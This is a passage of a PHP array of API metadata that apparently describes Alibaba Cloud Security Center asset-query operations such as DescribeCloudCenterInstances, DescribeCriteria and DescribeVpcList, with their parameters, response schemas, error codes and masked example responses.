permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 50,\\n \\"Count\\": 10,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Instances\\": [\\n {\\n \\"Status\\": \\"Running\\",\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"Kernel\\": \\"3.10.0-1127.19.1.el7.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"-\\",\\n \\"Tag\\": \\"InternetIp,test\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 1024,\\n \\"VpcInstanceId\\": \\"vpc-uf60agqq65bs98zoo****\\",\\n \\"TagId\\": \\"121313,41412\\",\\n \\"Flag\\": 0,\\n \\"LastLoginTimestamp\\": 1637592907000,\\n \\"AuthVersion\\": 1,\\n \\"Region\\": \\"cn-hangzhou-cm***-***\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"PodCount\\": 1,\\n \\"VulCount\\": 2,\\n \\"HcStatus\\": \\"YES\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"GroupTrace\\": \\"default\\",\\n \\"ClusterId\\": \\"c690a0789419f4284a4e0a29e12fe****\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"Cores\\": 4,\\n \\"VulStatus\\": \\"YES\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"MacListString\\": \\"00:13:3e:31:13:39,02:12:67:b8:**:**\\",\\n \\"Importance\\": 2,\\n \\"HealthCheckCount\\": 1,\\n \\"Ip\\": \\"1.2.XX.XX\\",\\n \\"Os\\": \\"Linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"SafeEventCount\\": 5,\\n \\"InstanceId\\": \\"i-m5***\\",\\n \\"AssetType\\": \\"0\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Uuid\\": \\"c9107c04-942f-40c1-981a-f1c1***\\",\\n \\"GroupId\\": 4120080,\\n \\"RegionName\\": \\"China (Hangzhou)\\",\\n \\"VendorName\\": \\"IDC\\",\\n \\"AuthVersionName\\": \\"Ultimate Edition\\",\\n \\"ClusterName\\": \\"cluster1\\",\\n \\"ExposedStatus\\": 0,\\n \\"RiskCount\\": \\"{\\\\n \\\\\\"account\\\\\\": 0,\\\\n \\\\\\"appNum\\\\\\": 0,\\\\n \\\\\\"asapVulCount\\\\\\": 0,\\\\n \\\\\\"baselineHigh\\\\\\": 0,\\\\n \\\\\\"baselineLow\\\\\\": 0,\\\\n \\\\\\"baselineMedium\\\\\\": 0,\\\\n \\\\\\"baselineNum\\\\\\": 0,\\\\n \\\\\\"cmsNum\\\\\\": 0,\\\\n \\\\\\"containerAsap\\\\\\": 0,\\\\n \\\\\\"containerLater\\\\\\": 0,\\\\n \\\\\\"containerNntf\\\\\\": 0,\\\\n \\\\\\"containerRemind\\\\\\": 0,\\\\n \\\\\\"containerSerious\\\\\\": 0,\\\\n \\\\\\"containerSuspicious\\\\\\": 0,\\\\n \\\\\\"cveNum\\\\\\": 0,\\\\n \\\\\\"emgNum\\\\\\": 0,\\\\n \\\\\\"health\\\\\\": 0,\\\\n \\\\\\"imageBaselineHigh\\\\\\": 0,\\\\n \\\\\\"imageBaselineLow\\\\\\": 0,\\\\n \\\\\\"imageBaselineMedium\\\\\\": 0,\\\\n \\\\\\"imageBaselineNum\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileRemind\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileSerious\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileSuspicious\\\\\\": 0,\\\\n \\\\\\"imageVulAsap\\\\\\": 0,\\\\n \\\\\\"imageVulLater\\\\\\": 0,\\\\n \\\\\\"imageVulNntf\\\\\\": 0,\\\\n \\\\\\"laterVulCount\\\\\\": 0,\\\\n \\\\\\"newSuspicious\\\\\\": 0,\\\\n \\\\\\"nntfVulCount\\\\\\": 0,\\\\n \\\\\\"remindNum\\\\\\": 0,\\\\n \\\\\\"scaNum\\\\\\": 0,\\\\n \\\\\\"seriousNum\\\\\\": 0,\\\\n \\\\\\"suspNum\\\\\\": 0,\\\\n \\\\\\"suspicious\\\\\\": 0,\\\\n \\\\\\"sysNum\\\\\\": 0,\\\\n \\\\\\"trojan\\\\\\": 0,\\\\n \\\\\\"uuid\\\\\\": \\\\\\"inet-37316411-37fe-4b72-b245-346a2721****\\\\\\",\\\\n \\\\\\"vul\\\\\\": 0,\\\\n \\\\\\"weakPWNum\\\\\\": 0\\\\n}\\",\\n \\"IpListString\\": \\"172.31.XX.XX,172.171.XX.XX\\",\\n \\"AssetTypeName\\": \\"Elastic Compute Service\\",\\n \\"FlagName\\": \\"ASK\\",\\n \\"AppId\\": \\"test\\",\\n \\"AppName\\": \\"testAppName\\",\\n \\"ClientSubStatus\\": \\"online\\",\\n \\"TagResources\\": \\"app:test,type:lingjun\\",\\n \\"PostPaidFlag\\": 0,\\n \\"HasContainer\\": \\"YES\\",\\n \\"ServiceId\\": \\"dsw-76jlywunsif09bp15p\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"VendorUserName\\",\\n \\"Namespace\\": \\"crm-test\\",\\n \\"BindFileProtectType\\": \\"block\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n true\\n 32A73759-4C0F-4801-BE98-901223ACEE9A\\n \\n 1\\n 20\\n 50\\n 10\\n \\n \\n Running\\n Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz\\n 1.2.XX.XX\\n 3.10.0-1127.19.1.el7.x86_64\\n true\\n CentOS 7.6 64位\\n InternetIp,test\\n online\\n 1024\\n vpc-uf60agqq65bs98zoo****\\n 121313,41412\\n 0\\n 1637592907000\\n 3\\n cn-hangzhou-cm***-***\\n yztest-l***\\n 1\\n 2\\n YES\\n 1607365213000\\n default\\n c690a0789419f4284a4e0a29e12fe****\\n NO\\n 4\\n YES\\n NO\\n 00:13:3e:31:13:39,02:12:67:b8:**:**\\n 2\\n 1\\n 1.2.XX.XX\\n Linux\\n 1627974044000\\n 5\\n i-m5***\\n ecs\\n 1.2.XX.XX\\n 0\\n cn-hanghzou\\n c9107c04-942f-40c1-981a-f1c1***\\n 4120080\\n 华北1（青岛）\\n Tencent\\n 免费版\\n cluster1\\n 0\\n 20\\n 172.31.XX.XX,172.171.XX.XX\\n \\n","errorExample":""}]', 'title' => 'DescribeCloudCenterInstances', 'description' => 'You can search for an asset by using search conditions, such as the instance ID, instance name, virtual private cloud (VPC) ID, region, and public IP address. You can also configure a logical relationship between multiple search conditions to search for the assets that meet the search conditions.', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeSummaryInfo' => [ 'summary' => 'Queries the security information about your assets. The information includes the security score and the numbers of protected and unprotected assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D40198E1-6EA8-482E-B3C7-D9573D75C0CA', ], 'Success' => [ 'description' => 'Indicates whether the request is successful. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AegisClientOfflineCount' => [ 'description' => 'The number of unprotected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'AegisClientOnlineCount' => [ 'description' => 'The number of protected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '127', ], 'SecurityScore' => [ 'description' => 'The security score of the assets. Valid values:'."\n" ."\n" .'* 95 to 100: The assets are secure.'."\n" .'* 85 to 94: The assets are exposed to a few security risks. We recommend that you reinforce your security system in a timely manner.'."\n" .'* 70 to 84: The assets are exposed to multiple security risks. We recommend that you reinforce your security system in a timely manner.'."\n" .'* 69 or lower: The current security system is unable to protect the assets against intrusions. We recommend that you reinforce your security system at the earliest opportunity.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D40198E1-6EA8-482E-B3C7-D9573D75C0CA\\",\\n \\"Success\\": true,\\n \\"AegisClientOfflineCount\\": 12,\\n \\"AegisClientOnlineCount\\": 127,\\n \\"SecurityScore\\": 44\\n}","errorExample":""},{"type":"xml","example":"\\n 114\\n E718E19A-4706-4ED0-9570-906724A89340\\n 73\\n 10\\n true\\n","errorExample":""}]', 'title' => 'DescribeSummaryInfo', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSearchCondition' => [ 'summary' => 'Queries the filter conditions that are used to search for assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92187', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '117.220.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **ecs**: Elastic Compute Service (ECS) instances.'."\n" .'* **cloud_product**: cloud services except ECS.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '3AEC47AF-8CFA-485E-AC9A-3A8ABC06EA7F', ], 'ConditionList' => [ 'description' => 'An array that consists of the filter conditions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the filter condition.'."\n", 'type' => 'object', 'properties' => [ 'ConditionType' => [ 'description' => 'The type of the filter condition. Valid values:'."\n" ."\n" .'* **system**: default filter conditions.'."\n" .'* **user**: custom filter conditions.'."\n", 'type' => 'string', 'example' => 'system', ], 'NameKey' => [ 'description' => 'The key of the filter condition name.'."\n", 'type' => 'string', 'example' => 'stop_machine', ], 'Name' => [ 'description' => 'The filter condition name.'."\n", 'type' => 'string', 'example' => 'StopMachine', ], 'FilterConditions' => [ 'description' => 'The filter condition. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **filterParams**: the parameters of the filter condition. The value of this field is in the JSON format and contains the following fields:'."\n" ."\n" .' * **labelKey**: the key for rendering.'."\n" ."\n" .' * **label**: the display name.'."\n" ."\n" .' * **value**: the value of the filter condition. The value of this field is in the JSON format and contains the following fields:'."\n" ."\n" .' * **name**: the name of the filter item.'."\n" .' * **value**: the value of the filter item.'."\n" ."\n" .'* **LogicalExp**: the logical relationship among the filter conditions. Valid values:'."\n" ."\n" .' * **AND**: The filter conditions are evaluated by using a logical **AND**.'."\n" .' * **OR**: The filter conditions are evaluated by using a logical **OR**.'."\n" ."\n" .'> If the value of **ConditionType** is **system**, **labelKey** is returned. The labelKey field is used only for internationalization rendering.'."\n", 'type' => 'string', 'example' => '{\\"filterParams\\":[{\\"labelKey\\":\\"a|b\\",\\"value\\":\\"{\\\\\\"name\\\\\\":\\\\\\"sadsasd\\\\\\",\\\\\\"value\\\\\\":\\\\\\"dasdsdas\\\\\\"}\\"}],\\"LogicalExp\\":\\"OR\\"}', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'InvalidSecurityTokenExpired', 'errorMessage' => 'Specified SecurityToken is expired.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3AEC47AF-8CFA-485E-AC9A-3A8ABC06EA7F\\",\\n \\"ConditionList\\": [\\n {\\n \\"ConditionType\\": \\"system\\",\\n \\"NameKey\\": \\"stop_machine\\",\\n \\"Name\\": \\"StopMachine\\",\\n \\"FilterConditions\\": \\"{\\\\\\\\\\\\\\"filterParams\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"labelKey\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"a|b\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"{\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"sadsasd\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\",\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"dasdsdas\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"}\\\\\\\\\\\\\\"}],\\\\\\\\\\\\\\"LogicalExp\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"OR\\\\\\\\\\\\\\"}\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSearchCondition', ], 'DescribeCriteria' => [ 'summary' => 'Queries the filter conditions that are used to search for assets in fuzzy match mode.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* Set the value to **ecs**, which specifies to query all Elastic Compute Service (ECS) instances.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The keyword that you specify for fuzzy search when you query the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '47.96', ], ], [ 'name' => 'SupportAutoTag', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the keyword that you specify for fuzzy search can be automatically matched. Default value: **false**. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8E6DDACF-99AF-5939-AFFD-FCCD3B01E724', ], 'CriteriaList' => [ 'description' => 'List of asset query condition information.', 'type' => 'array', 'items' => [ 'description' => 'Information on asset query conditions.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: The search condition needs to be specified.'."\n" .'* **select**: The search condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'input', ], 'Name' => [ 'description' => 'The name of the search condition. Valid values:'."\n" .' - **internetIp**: Public IP Address. '."\n" .' - **intranetIp**: Private IP Address.'."\n" .' - **instanceName**: Instance Name.'."\n" .' - **instanceId**: Instance ID. '."\n" .' - **machineType**: Instance Type. '."\n" .' - **clusterIdList**: Cluster ID list. '."\n" .' - **vpcInstanceId**: VPC ID. '."\n" .' - **osName**: OS. '."\n" .' - **osType**: OS type. '."\n" .' - **hcStatus**: Whether Baseline Risk Exists. '."\n" .' - **vulStatus**: Whether Vulnerability Exists. '."\n" .' - **asapVulStatus**: Whether there is an urgent vulnerability. '."\n" .' - **alarmStatus**: Whether Alert Exists. '."\n" .' - **riskStatus**: Whether there is a risk. '."\n" .' - **clientStatus**: Whether it is online. '."\n" .' - **clientSubStatus**: Client sub-status. '."\n" .' - **runningStatus**: Power-on status. '."\n" .' - **tagName**: Tag name. '."\n" .' - **vendorAuthAlias**: Authorized account remarks. '."\n" .' - **vendorUid**: Authorized account ID. '."\n" .' - **vendorUserName**: Authorized account name. '."\n" .' - **namespace**: Namespace. '."\n" .' - **appName**: Application name. '."\n" .' - **groupName**: Group name. '."\n" .' - **regionId**: Region. '."\n" .' - **groupId**: Group ID. '."\n" .' - **newInstance**: Whether it is a new asset. '."\n" .' - **containerStatus**: Whether there is a container. '."\n" .' - **importance**: Asset importance. '."\n" .' - **exposedStatus**: Whether it is an exposed server. '."\n" .' - **clusterId**: Cluster ID. '."\n" .' - **authVersion**: Authorization version. '."\n" .' - **flag**: Cloud provider. '."\n" .' - **ipList**: IP list. '."\n" .' - **uuidList**: UUID. '."\n" .' - **aiStatus**: Whether there is an AI component. '."\n" .' - **tagKeyValue**: ECS tag. '."\n" .' - **ecsType**: Server type. '."\n" .' - **alisecguardStatus**: Self-protection status. '."\n" .' - **alihipsStatus**: AliHips status. '."\n" .' - **alinetStatus**: AliNet status. '."\n" .' - **alidetectStatus**: Endpoint engine status. '."\n" .' - **yundunMonitorStatus**: Information collection component status. '."\n" .' - **clusterNodeStatus**: Whether it is a cluster node.', 'type' => 'string', 'example' => 'internetIp', ], 'Values' => [ 'description' => 'The attribute values of the assets that match the keyword.'."\n" .'> - When **Name** is **machineType**, the enum values are: '."\n" .'>>- **38**: Elastic Container Instance. '."\n" .'>>- **51**: RunD Container Instance. '."\n" .'>>- **52**: RunC Container Instance. '."\n" .'>- When **Name** is **osType**, the enum values are: '."\n" .'>>- **linux**: Linux. '."\n" .'>>- **windows**: Windows. '."\n" .'>- When **Name** is **hcStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **vulStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **asapVulStatus**, the enum values are: '."\n" .'>>- **NO**: No.'."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **alarmStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **riskStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>>- **UNKNOWN**: Unknown. '."\n" .'>- When **Name** is **clientStatus**, the enum values are: '."\n" .'>>- **online**: Online. '."\n" .'>>- **offline**: Offline. '."\n" .'>>- **pause**: Protection Suspended. '."\n" .'>- When **Name** is **clientSubStatus**, the enum values are: '."\n" .'>>- **online**: Online. '."\n" .'>>- **offline**: Offline. '."\n" .'>>- **pause**: Protection Suspended. '."\n" .'>>- **stopped**: Server Shutdown. '."\n" .'>>- **uninstalled**: Not Installed. '."\n" .'>- When **Name** is **runningStatus**, the enum values are: '."\n" .'>>- **Running**: On. '."\n" .'>>- **notRunning**: Off. '."\n" .'>>- **UNKNOWN**: Unknown. '."\n" .'>- When **Name** is **importance**, the enum values are: '."\n" .'>>- **important**: Important. '."\n" .'>>- **general**: Normal. '."\n" .'>>- **test**: Test. '."\n" .'>- When **Name** is **containerStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **exposedStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **authVersion**, the enum values are: '."\n" .'>>- **1**: Basic. '."\n" .'>>- **3**: Enterprise. '."\n" .'>>- **5**: Advanced.'."\n" .'>>- **6**: Anti-virus. '."\n" .'>>- **7**: Ultimate. '."\n" .'>- When **Name** is **flag**, the enum values are: '."\n" .'>>- **0|8|15**: Alibaba Cloud. '."\n" .'>>- **1**: External Host. '."\n" .'>>- **2**: IDC. '."\n" .'>>- **3**: Tencent Cloud. '."\n" .'>>- **4**: Huawei Cloud. '."\n" .'>>- **5**: Azure. '."\n" .'>>- **7**: AWS. '."\n" .'>>- **9**: SAE. '."\n" .'>>- **10**: PAI. '."\n" .'>>- **13**: ACS. '."\n" .'>>- **14**: Volcano Cloud. '."\n" .'>>- **16**: Google Cloud. '."\n" .'>- When **Name** is **aiStatus**, the enum values are: '."\n" .'>>- **NO**: No. '."\n" .'>>- **YES**: Yes. '."\n" .'>- When **Name** is **ecsType**, the enum values are: '."\n" .'>>- **8**: Simple Application Server. '."\n" .'>>- **11**: LINGJUN GPU-accelerated Bare Metal Instance. '."\n" .'>>- **15**: RDS Custom. '."\n" .'>>- **!8**: Host. '."\n" .'>- When **Name** is **alisecguardStatus**, the enum values are: '."\n" .'>>- **0**: Plug-in Online. '."\n" .'>>- **1**: Plug-in Disabled. '."\n" .'>>- **2**: Plug-in Offline. '."\n" .'>>- **-99**: The installation failed. '."\n" .'>- When **Name** is **alihipsStatus**, the enum values are: '."\n" .'>>- **0**: Plug-in Online. '."\n" .'>>- **1**: Plug-in Disabled. '."\n" .'>>- **2**: Plug-in Offline. '."\n" .'>>- **-99**: The installation failed. '."\n" .'>- When **Name** is **alinetStatus**, the enum values are: '."\n" .'>>- **0**: Plug-in Online. '."\n" .'>>- **1**: Plug-in Disabled. '."\n" .'>>- **2**: Plug-in Offline. '."\n" .'>>- **-99**: The installation failed. '."\n" .'>- When **Name** is **alidetectStatus**, the enum values are: '."\n" .'>>- **0**: Plug-in Online. '."\n" .'>>- **1**: Plug-in Disabled. '."\n" .'>>- **2**: Plug-in Offline. '."\n" .'>>- **-99**: The installation failed. '."\n" .'>- When **Name** is **yundunMonitorStatus**, the enum values are: '."\n" .'>>- **0**: Plug-in Online. '."\n" .'>>- **1**: Plug-in Disabled. '."\n" .'>>- **2**: Plug-in Offline. '."\n" .'>>- **-99**: The installation failed. '."\n" .'>- When **Name** is **clusterNodeStatus**, the enum values are: '."\n" .'>>- **false**: No. '."\n" .'>>- **true**: Yes.', 'type' => 'string', 'example' => '47.96.XX.XX', ], 'MultiValues' => [ 'description' => 'The structured attribute values of the assets that match the keyword. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **vendor**: providers.'."\n" .'* **regionIds**: IDs of supported regions'."\n", 'type' => 'string', 'example' => '[{"vendor":0,"regionIds":{"default":["ap-southeast-1","ap-northeast-2","ap-southeast-3","ap-southeast-5","ap-southeast-7","me-central-1"]}},{"vendor":1,"regionIds":{"default":["outside-of-aliyun"]}}]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8E6DDACF-99AF-5939-AFFD-FCCD3B01E724\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"internetIp\\",\\n \\"Values\\": \\"47.96.XX.XX\\",\\n \\"MultiValues\\": \\"[{\\\\\\"vendor\\\\\\":0,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"ap-southeast-1\\\\\\",\\\\\\"ap-northeast-2\\\\\\",\\\\\\"ap-southeast-3\\\\\\",\\\\\\"ap-southeast-5\\\\\\",\\\\\\"ap-southeast-7\\\\\\",\\\\\\"me-central-1\\\\\\"]}},{\\\\\\"vendor\\\\\\":1,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"outside-of-aliyun\\\\\\"]}}]\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8E6DDACF-99AF-5939-AFFD-FCCD3B01E724\\n \\n input\\n internetIp\\n 47.96.XX.XX\\n \\n","errorExample":""}]', 'title' => 'DescribeCriteria', ], 'DescribeVpcList' => [ 'summary' => 'Queries the information about virtual private clouds (VPCs).', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'VpcList' => [ 'description' => 'An array that consists of VPCs.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceDesc' => [ 'description' => 'The information about the virtual private cloud (VPC).'."\n", 'type' => 'string', 'example' => 'TestVpcNote', ], 'InstanceName' => [ 'description' => 'The name of the VPC.'."\n", 'type' => 'string', 'example' => 'test', ], 'EcsCount' => [ 'description' => 'The number of Elastic Compute Service (ECS) instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'InstanceId' => [ 'description' => 'The ID of the ECS instance.'."\n", 'type' => 'string', 'example' => 'ins_1321_asedb_ada', ], 'RegionId' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"VpcList\\": [\\n {\\n \\"InstanceDesc\\": \\"TestVpcNote\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"EcsCount\\": 9,\\n \\"InstanceId\\": \\"ins_1321_asedb_ada\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n ins_1321_asedb_ada\\n vpc\\n vpc\\n 9\\n 2\\n 1\\n\\n7E0618A9-D5EF-4220-9471-C42B5E92719F\\n1\\n","errorExample":""}]', 'title' => 'DescribeVpcList', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAssetDetailByUuids' => [ 'summary' => 'Queries the details of Elastic Compute Service (ECS) instances.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91991', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the instances. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of instances.'."\n", 'type' => 'string', 'required' => true, 'example' => '0687b17f-2a36-4e5****,0687b17f-2a36-4e****'."\n", ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the IDs of Alibaba Cloud accounts.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' 